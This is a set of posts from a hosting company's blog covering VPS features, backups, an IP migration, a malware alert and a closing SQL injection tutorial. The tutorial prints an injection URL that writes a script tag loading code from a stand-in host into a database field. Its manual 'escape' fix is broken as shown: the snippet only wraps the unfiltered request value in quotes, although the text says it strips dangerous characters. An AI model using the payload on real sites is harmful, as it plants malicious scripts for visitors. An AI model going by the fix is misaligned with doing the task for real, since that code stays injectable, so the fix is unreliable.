What to look for when comparing Windows VPS providers
With a number of low cost Windows VPS and Cloud providers showing up in the Australian marketplace it is worth digging a little deeper to ensure a chosen provider
has the features, reliability and performance your business requires.
Our HyperVPS pricing is all-inclusive with no hidden fees and charges. See how our competitors compare with the following:
- Comprehensive backup policy included with every VPS
This includes disaster recovery and business continuity features such as Offsite and Offline backups.
There are no restrictions, terms or conditions, just peace of mind.
- High performance with the lowest number of Virtual Servers per machine in the industry
A maximum of 8 Virtual Servers per machine equals higher disk I/O performance
- Separate SQL Server Databases included from our own dedicated servers
This allows customers to free up memory and CPU resources on the virtual server
These are also included in our Backup Policy
- 99.9% Uptime Guarantee
Backed by a premium multi-homed network
- Telephone support with a 24/7 emergency contact number
- FREE DNS Hosting and URL Forwarding
- No gimmicks, buzzwords or special offers
Just good old-fashioned service
Introducing fileObject.com – A free file sending service for our customers
fileObject.com is a free file sending service for our StudioCoast Web Hosting customers and their friends.
It has been designed to make it as simple as possible to send large files over the internet and it only takes two clicks to get going.
1. Click Browse Files and select the files you wish to upload, you can select up to 5 files at once.
2. Wait for the files to upload. On a standard ADSL connection a 10MB file will take approximately 5 minutes.
3. Once uploaded you will be given a special link that you can copy in paste into an email, sms, instant messaging and anything else you can think of!
fileObject.com is secured using SSL and links are valid for up to 7 days. You can also manually delete a link at any time for added security.
We hope you find this new web site useful, feel free to suggest any new features in the comments below.
The dangers of Unlimited and One Size Fits All Web Hosting
In these uncertain economic times there has been an increase in large or unlimited quota web hosting from many Australian web hosting providers.
We believe this approach leads to a decline in support, reliability and performance and is ultimately to the detriment of the customer.
StudioCoast endeavours to provide our customers with the highest level of performance, reliability and support at an affordable price. The points below explain why our service is different and why unlimited isn’t all it’s cracked up to be.
Comprehensive Backup Policy
We provide the ability to restore backups for customers upon request for no extra charge. Most other providers either do not keep backups at all, or only have backups for their disaster recovery purposes. We also have regular offsite backups to ensure there are backups in multiple locations at all times.
BOTTOM LINE: If a provider offers a large amount of disk space, their backup policy is probably not up to scratch.
Quotas based on Customer needs
We provide quotas based on many years of experience in understanding the real needs of our customers. This means the disk space and data transfer limits can be used by customers in confidence that their web site will never be shutdown by an Acceptable Use Policy simply for using the limits they were given. Unlimited plans end up being limited by whatever the provider considers to be too much usage.We also don’t believe it is fair for one customer using 1GB of space to pay the same as a customer using 100GB and have therefore tailored our plans to offer customers real value for money.
BOTTOM LINE: If a provider offers a one size fits all plan, 80% of the customers will end up paying for top 20%.
High Performance
Our disk space and data limits ensure each customer receives the highest performance possible. We also allocate separate servers for Web, Mail, Databases and DNS to ensure each service is isolated from competing services in a way that provides a substantial speed boost over competing setups.SQL Servers for example require large amounts of memory in order to provide optimal performance. Offering very large disk space quotas for databases will lead to server performance quickly deteriorating as memory runs out and disk swapping begins to occur
BOTTOM LINE: Large database disk space quotas equals poor performance.
We are always interested in hearing feedback from our customers on how we can make our services even better. No matter how big or small your request might be, send us an email or reply to this blog. We would love to hear what you think.
IP Migration – FAQ
Over the past few weeks StudioCoast has been planning a complete IP migration of our network. An IP migration of this scale is a challenging task involving the DNS change of thousands of domains as well as co-ordinating the IP changes on each of our servers.
Why are you changing IP addresses?
The reason is simple. The Asia-Pacific Network Information Centre (APNIC) recently announced they have reached the final /8 IP Block for the region and it was crucial that StudioCoast secure IP addresses to last well into the future. Our previous IP address range belonged to iiNet.
How will this affect customers?
We have implemented a migration plan that involves running both IP addresses side by side to ensure a smooth transition over to the new network. We will also be contacting customers individually that require manual changes. Rest assured we are making every effort to ensure customer impact is minimal.
Are you changing internet providers as well?
The move also includes changing our network providers to a new highly redundant high speed network that connects to PIPENetworks, PipeIP and iSeek.
This network is further bolstered by a fibre ring spanning three brisbane data centres.
While our previous provider (iiNet) has consistently provided us with a high level of uptime, changing providers offers StudioCoast a greater level of flexibility and redundancy. We can also change providers in the future without requiring any further IP address changes.
If you have any further questions, post them as comments here and we will add our responses to this FAQ.
StudioCoast, Backups and You!
As you may have heard, an Australian hosting provider has made the news recently after thousands of its customer web sites were lost as a result of a particularly malicious security breach.
In response, some of our clients have asked us how we manage our backups and what steps we have taken to ensure customer sites are safe.
StudioCoast takes backups very seriously. Our backup infrastructure provides a staggering four levels of backups, so even if three copies fail (a highly improbable scenario mind you) your data is still safe.
Let’s take a brief look at each level below:
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RAID
RAID involves multiple hard drives with multiple copies of data. If one drive fails, the other picks up the slack. -
Primary Backup
This is a backup taken at regular intervals of every web site, database and virtual server. The backup is located on a dedicated backup server that is securely separately from our standard hosting servers.
If you need a database backup restored from last week or a month ago, this is where we will retrieve the backup for you, free of charge. -
Secondary Backup
This is a backup of level 2, again located on separate dedicated storage device. All backups here are compressed and encrypted, ready for level 4. Just like Inception, let’s go deeper. -
Offline Backup
This is the clincher that makes the whole backup system worthwhile. The level 3 backup is rotated regularly and taken offsite to a secure facility.
These backups are offline (powered off) and unplugged from the internet at all times.
If Brisbane succumbed to an alien invasion, your data would be safe! No really!
The following diagram taken from our Knowledge Base will help visualise the extreme lengths we have gone to:
And here’s the sales pitch, it’s free! All our Web Hosting and Hyper VPS plans have these backups included by default. Ready to go no extra configuration necessary.
Web Hosting without the hassles, indeed!
ASP.NET 4.0 Web Hosting
This post is a bit belated, but I am proud to announce the support of ASP.NET 4.0 on all StudioCoast Web Hosting plans.
Our custom control panel has allowed us to provide full support a day after the official release on 12th April 2010. It is interesting to note that we still appear to be the only provider in Australia actively offering ASP.NET 4.0!
New ASP.NET 4.0 sites hosted with us are provisioned on the latest platform which includes IIS 7.5 and Windows 2008 R2.
We provide support for many companion services such as SQL Server 2008.
As always, full details are available from our web site http://www.studiocoast.com.au/
Malware Alert
Over the past few weeks we have seen a few cases of trojans capturing ftp passwords from a customer’s computer and use those details to modify their web site.
This may be through either a keylogger or access to an ftp program’s saved account details (such as in FileZilla).
We recommend using an up-to-date virus scanner along with regular scans using a dedicated malware scanning program.
Avast! Home Edition is a free virus scanner, while Malwarebytes Anti-Malware has proven to be an effective spyware scanner.
What’s happening at StudioCoast
Hi there!
It's been a while since I last posted a Blog entry so I thought I would mention a few new things we have been rolling out:
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NEW Domain Name Registration system
We've finished implementing a custom built Domain Registration system that allows management of both domains and web hosting from a single account.
If you have a Domain Name registered with us, visit https://secure.hostcontrol.com.au/order/login.aspx and put your domain name into the Password Recovery section to receive instructions on how to include it in your existing Web Hosting account. -
ASP.NET 3.5 Web Hosting on IIS 7.0 (with SP1)
This has been available for a while now but I thought I would mention it as customers can now request their sites be moved over to IIS 7.0 if they would like to try out the new features.
If you would like to purchase a new Web Hosting account you can do so here:During the order process you will be given the opportunity to request IIS 7.0 as all existing Web Hosting plans support it.
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Improved hostControl
We've updated the interface to make it even easier to use and added a couple of features customers have requested:Default Documents – You can specify the home page for your web site and change the order pages are loaded here.
Domain Registration – As mentioned above, this new feature allows you to change name servers, update contact details and process renewals for your domain names.
So there you have it! We are always interested in hearing your feedback, so if you have something to say send us an email or visit the Support page on our web site:
http://www.studiocoast.com.au/
Movember is here!
You know those normally hygienic people who for some strange reason decide to throw it out the window once a year and grow a hideous moustache?
Well believe it or not they haven't gone mad, they are supporting Movember which aims to raise funds and awareness for men's health.
This month my staff are on the ball, setting up a campaign where 5% of every Web Hosting or HyperVPS account purchased in the month of November will go straight to the Movember Foundation.
That money will then go on to either the Prostate Cancer Foundation of Australia or beyondblue: the national depression initiative. Two worthy causes I think you'll agree.
For full details you can visit our Movember website or head on over to the offical web site for all the details.
Battling SQL Injection
"SQL Injection" has become an increasingly common way for hackers to attack web sites, but what is SQL Injection and what can web developers do to avoid it?
SQL injection involves manipulating the variables sent to a web page in order to place additional SQL queries within queries used as part of the web site code.
There are a multitude of ways SQL Injection can be used for nefarious purposes but today we are going to look at the most common method at the moment being used to insert malicious javascript files into web sites
Take the following simple example using ASP:
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testpage.asp <% szQuery = "Select * From myTable Where ID = " & Request("ID") … %> |
Because the Request("ID") variable isn't filtered or checked in any way, an attacker can manipulate the URL request string to insert any commands they like into the table.
So if they have a script at say http://testdomain.local/bad.js and the myTable has a column called "Description" which is used to display information on the page, an attacker could use the following:
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"testpage.asp?ID=1;Update myTable set Description = '<script src="http://testdomain.local/bad.js"></script>' Where ID = 1" |
This will update the record with ID = 1 to insert the javascript into the description field.
THIS IS BAD
So how does one fix it?
The best approach is to not use request variables directly in SQL in the first place, but in ASP this is not always an easy option.
In ASP.NET however, the problem can be solved by using the SQLCommand.Parameters to add each variable that is needed in the query.
Then the SQL Query will look something like this:
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Select * From myTable Where ID = @ID; |
But if you need to quickly fix older code in ASP, then filtering each request variable manually is a reasonable approach.
(Though not completely fool proof)
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<% szID = Request("ID") szQuery = "Select * From myTable Where ID = '" & szID & "'" %> |
The above will "escape" potentially dangerous characters such as ' and ; from the variable completely.
Note that the above is only helpful if the ID variable is a string.
If the variable is a known type other than a string (say Integer) then casting must be used to prevent nasty SQL from being inserted:
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<% iID = CINT(Request("ID")) szQuery = "Select * From myTable Where ID = " & iID … %> |
In the above example, if an attacker tries to insert something into ID, it will cause an error and refuse to run the query.
So there you have it, SQL Injection is easy to avoid once you know how.
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